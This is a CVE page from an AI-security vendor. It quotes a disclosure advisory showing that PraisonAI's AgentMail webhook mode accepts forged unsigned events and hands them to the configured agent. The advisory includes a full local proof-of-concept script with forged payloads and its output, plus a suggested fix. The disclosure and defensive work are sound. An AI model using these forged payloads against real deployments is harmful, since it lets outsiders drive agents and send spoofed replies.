HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorKeep agent security open: sponsor a project, place a banner, or fund a security initiative.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 61436 praisonai agentmail webhook mode accepts forged
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 8.6CVE-2026-61436GHSA-7C92-X8VG-4258

PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agentsCVE-2026-61436

Answer in brief

CVE-2026-61436 records a High severity (CVSS 8.6) vulnerability in PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents. The current sources do not mark it as known exploited. The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 15, 2026Updated Oct 7, 2026Source checked Oct 7, 2026First seen by HOL Jul 15, 2026Material review Oct 7, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 8.6
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 8.6. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
praisonaipip<=4.6.774.6.78

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for praisonai.
  2. 2Review the reported fix. Update praisonai to 4.6.78 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 15, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 7, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 15, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
Upstream source description

# AgentMail webhook mode accepts forged unsigned message.received events and invokes agents ## Summary `praisonai` AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled `message.received` JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path. ## Technical Details The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes `svix-id`, `svix-timestamp`, and `svix-signature` headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as `AGENTMAIL_WEBHOOK_SECRET`, before trusting the event body. AgentMail's documented verified payload examples route on `event_type`; the forged payload below intentionally uses PraisonAI's accepted handler shape, `type` plus `data`, because that is the shape `_handle_email_webhook()` accepts before any signature verification. `src/praisonai/praisonai/bots/agentmail.py` exposes webhook mode through `AgentMailBot(mode=...)` or a `BotConfig` whose `mode` is `webhook`. In `_start_webhook_mode()`, PraisonAI registers `POST {webhook_path}` and binds the aiohttp site to `0.0.0.0` on the configured webhook port. When `config.webhook_url` is set, the same method calls `client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...)`, but it does not store or use the returned webhook secret. The handler then trusts the parsed JSON body. `_handle_email_webhook()` calls `await request.json()`, reads `body.get("type", "")`, and if the value is `message.received`, schedules `_process_webhook_payload(body)` and returns `200 OK`. It does not read the raw body, inspect request headers, verify `svix-id`, verify `svix-timestamp`, verify `svix-signature`, or check any webhook secret before scheduling the event. `_process_webhook_payload()` builds a `BotMessage` from attacker-controlled JSON fields: `data.message_id`, `data.from`/`data.from_`, `data.subject`, `data.extracted_text`/`data.text`, `data.thread_id`, and `data.in_reply_to`. It then calls `_handle_message(message)`. `_handle_message()` fires message hooks, calls `self._session.chat(self._agent, sender_id, body, ...)`, and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail. This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed `MessageReceivedEvent` instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event. ## PoV the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials. The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level `type` field with value `message.received` and a nested `data` object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using `event_type` after Svix verification. The issue is that PraisonAI accepts the unauthenticated `type`/`data` body and dispatches it before verifying that the request came from AgentMail. Essential PoV excerpt: ```python class FakeRequest: def __init__(self, body, headers=None, json_error=False): self._body = body self.headers = headers or {} self._json_error = json_error async def json(self): if self._json_error: raise ValueError("invalid json") return self._body bot = AgentMailBot( token="am_local_test", agent=object(), inbox_id="[email protected]", config=BotConfig(mode="webhook", webhook_path="/webhook"), ) bot._inbox_id = "[email protected]" bot._email_address = "[email protected]" bot._config = {} bot._session = RecordingSession() payload = { "type": "message.received", "data": { "message_id": "msg-forged-invalid-svix", "from": "[email protected]", "subject": "Forged invalid signature", "extracted_text": "invalid signature forged body", }, } headers = { "svix-id": "msg_bad", "svix-timestamp": "1", "svix-signature": "v1,definitely-invalid", } response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers)) await asyncio.sleep(0) ``` Expected vulnerable behavior: the response status is `200`, the invalid Svix signature is ignored, and the fake session records one agent call with `sender_id` set to `[email protected]` and `body` set to `invalid signature forged body`. ## PoC Current head tested: ```text 846568c7a5d8ce9e71e56e4c213f027c04909753 ``` Run against a local checkout of current head: ```fish python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c ``` Decisive current-head output: ```json { "label": "current-head-846568c", "vulnerable": true, "cases": { "forged_unsigned_message": { "http_status": 200, "session_delta": 1, "send_delta": 1 }, "forged_invalid_svix_signature": { "http_status": 200, "session_delta": 1, "send_delta": 1 }, "invalid_json_control": { "http_status": 400, "session_delta": 0 }, "non_message_event_control": { "http_status": 200, "session_delta": 0 }, "duplicate_message_control": { "http_status": 200, "session_delta": 0 } } } ``` Run against the latest release tag observed during testing: ```fish python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47 ``` Decisive `v4.6.62` output: ```json { "label": "v4.6.62-2a855c47", "vulnerable": true, "cases": { "forged_unsigned_message": { "http_status": 200, "session_delta": 1, "send_delta": 1 }, "forged_invalid_svix_signature": { "http_status": 200, "session_delta": 1, "send_delta": 1 }, "invalid_json_control": { "http_status": 400, "session_delta": 0 }, "non_message_event_control": { "http_status": 200, "session_delta": 0 }, "duplicate_message_control": { "http_status": 200, "session_delta": 0 } } } ``` Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return `200` and reach the agent session once. Invalid JSON returns `400` without an agent call, non-`message.received` events are ignored, and repeated `message_id` values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch. ## Impact If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot. The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools. This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode. Suggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6). Suggested CWEs: `CWE-347` Improper Verification of Cryptographic Signature, `CWE-306` Missing Authentication for Critical Function, and `CWE-287` Improper Authentication. ## Suggested Fix Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by `client.webhooks.create(...)`, or require an explicit `agentmail_webhook_secret`/`AGENTMAIL_WEBHOOK_SECRET` configuration value for existing webhook endpoints. Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid `svix-id`, `svix-timestamp`, and `svix-signature` headers before scheduling `_process_webhook_payload()`. Do not use `await request.json()` as the verification input; signature verification needs the exact raw body bytes. Suggested regression tests: - webhook mode without a configured signing secret refuses startup or returns `401`/`400` for `message.received`; - missing Svix headers do not call `_process_webhook_payload()`; - invalid Svix signature does not call `_process_webhook_payload()`; - stale timestamp does not call `_process_webhook_payload()`; - valid Svix signature for the raw body reaches `_process_webhook_payload()`; - duplicate `message_id` behavior remains intact after verification succeeds. ## Affected Package/Versions Affected package: `pypi:praisonai`. Latest PyPI version observed during testing: `4.6.62`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. Latest release tag `v4.6.62` at commit `2a855c470077c7d2e2479a575f7ef7f548d51c33` is affected. Sampled tag sweep: ```text v4.4.12 agentmail_absent v4.5.16 agentmail_absent v4.5.128 present_unsigned_webhook v4.6.33 present_unsigned_webhook v4.6.58 present_unsigned_webhook v4.6.59 present_unsigned_webhook v4.6.60 present_unsigned_webhook v4.6.62 present_unsigned_webhook current present_unsigned_webhook ``` Conservative suggested affected range: AgentMail webhook-bearing `praisonai` releases at least `>= 4.5.128, <= 4.6.62`, plus current head. The component was absent in sampled tags `v4.4.12` and `v4.5.16`. No fixed version or fix commit was observed. ## Advisory History Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix `message.received` events and dispatching them into `AgentMailBot._handle_message()`. Nearby advisories are distinct: - `GHSA-fc26-m9pf-v56q`, "PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path. - `GHSA-x92v-rpx6-p6cw`, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery. - `GHSA-qvpf-j64c-jmhr`, "PraisonAI Slack app_mention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity. - `GHSA-vg22-4gmj-prxw` / `CVE-2026-47391` cover unauthenticated A2A `message/send`, not AgentMail webhooks. - `GHSA-86qc-r5v2-v6x6` covers the call server token gap, not AgentMail webhook delivery. Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail `message.received` dispatch path. ## References - AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification - AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create - PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q - PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw - PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr - MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html - MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html - MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html ## Appendix A - Full PoV Script ```python #!/usr/bin/env python3 """PoV for PraisonAI AgentMail webhook authenticity. The script calls the AgentMail webhook handler directly with fake aiohttp requests. It does not bind a port, contact AgentMail, or send email. """ from __future__ import annotations import argparse import asyncio import json import sys import types from pathlib import Path from typing import Any class FakeResponse: def __init__(self, status: int = 200, text: str = "", content_type: str | None = None): self.status = status self.text = text self.content_type = content_type class FakeRequest: def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False): self._body = body self.headers = headers or {} self._json_error = json_error async def json(self) -> dict[str, Any]: if self._json_error: raise ValueError("invalid json") return self._body or {} class RecordingSession: def __init__(self) -> None: self.calls: list[dict[str, Any]] = [] async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str: self.calls.append( { "sender_id": sender_id, "body": body, "chat_id": kwargs.get("chat_id"), "message_id": kwargs.get("message_id"), "account": kwargs.get("account"), } ) return "local agent response" def install_fake_aiohttp() -> None: web = types.SimpleNamespace(Response=FakeResponse) sys.modules["aiohttp"] = types.SimpleNamespace(web=web) def configure_import_path(repo: Path) -> None: sys.path.insert(0, str(repo / "src" / "praisonai")) sys.path.insert(0, str(repo / "src" / "praisonai-agents")) async def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]: before_calls = len(bot._session.calls) before_sends = len(bot._sent_messages) response = await bot._handle_email_webhook(request) for _ in range(sleep_ticks): await asyncio.sleep(0) return { "http_status": response.status, "session_delta": len(bot._session.calls) - before_calls, "send_delta": len(bot._sent_messages) - before_sends, "session_calls": bot._session.calls[before_calls:], "sent_messages": bot._sent_messages[before_sends:], } async def main_async(repo: Path, label: str) -> dict[str, Any]: install_fake_aiohttp() configure_import_path(repo) from praisonai.bots.agentmail import AgentMailBot from praisonaiagents.bots import BotConfig bot = AgentMailBot( token="am_local_test", agent=object(), inbox_id="[email protected]", config=BotConfig(mode="webhook", webhook_path="/webhook"), ) bot._inbox_id = "[email protected]" bot._email_address = "[email protected]" bot._config = {} bot._session = RecordingSession() bot._sent_messages = [] async def fake_send_message(**kwargs: Any) -> None: bot._sent_messages.append(kwargs) bot.send_message = fake_send_message invalid_svix_headers = { "svix-id": "msg_bad", "svix-timestamp": "1", "svix-signature": "v1,definitely-invalid", } cases: dict[str, Any] = {} cases["forged_unsigned_message"] = await run_case( bot, FakeRequest( { "type": "message.received", "data": { "message_id": "msg-forged-unsigned", "from": "[email protected]", "subject": "Forged unsigned message", "extracted_text": "unsigned forged body", }, } ), ) cases["forged_invalid_svix_signature"] = await run_case( bot, FakeRequest( { "type": "message.received", "data": { "message_id": "msg-forged-invalid-svix", "from": "[email protected]", "subject": "Forged invalid signature", "extracted_text": "invalid signature forged body", }, }, headers=invalid_svix_headers, ), ) cases["invalid_json_control"] = await run_case(bot, FakeRequest(None, json_error=True)) cases["non_message_event_control"] = await run_case( bot, FakeRequest( { "type": "domain.verified", "data": { "message_id": "msg-non-message", "from": "[email protected]", "extracted_text": "should not be processed", }, } ), ) cases["duplicate_message_control"] = await run_case( bot, FakeRequest( { "type": "message.received", "data": { "message_id": "msg-forged-invalid-svix", "from": "[email protected]", "subject": "Duplicate", "extracted_text": "duplicate should not create a second call", }, }, headers=invalid_svix_headers, ), ) vulnerable = ( cases["forged_unsigned_message"]["http_status"] == 200 and cases["forged_unsigned_message"]["session_delta"] == 1 and cases["forged_invalid_svix_signature"]["http_status"] == 200 and cases["forged_invalid_svix_signature"]["session_delta"] == 1 and cases["invalid_json_control"]["http_status"] == 400 and cases["invalid_json_control"]["session_delta"] == 0 and cases["non_message_event_control"]["session_delta"] == 0 and cases["duplicate_message_control"]["session_delta"] == 0 ) return { "label": label, "repo": str(repo), "vulnerable": vulnerable, "finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session", "cases": cases, } def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--repo", type=Path, required=True) parser.add_argument("--label", default="current-head") args = parser.parse_args() result = asyncio.run(main_async(args.repo.resolve(), args.label)) print(json.dumps(result, indent=2, sort_keys=True)) return 0 if result["vulnerable"] else 1 if __name__ == "__main__": raise SystemExit(main()) ```

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • PraisonAI: Code Injection via f-string Interpolation in Deploy API Server GenerationSame praisonai package
  • LMCache through 0.5.5 Unauthenticated RCE via /run_script EndpointAlso CWE-306
  • LMCache through 0.5.5 Missing Authentication in MP Coordinator Fleet Control APIAlso CWE-306
  • LMCache through 0.5.5 Missing Authentication in MP HTTP Server Management APIAlso CWE-306
  • LMCache through 0.5.5 Missing Authentication in Frontend Node Catalog Allows SSRF Allowlist BypassAlso CWE-306
  • Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)Also CWE-306

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-287, CWE-306, CWE-347
Source
GitHub Security Advisories
Source checked
Oct 7, 2026
References
7 linked sources
Open source record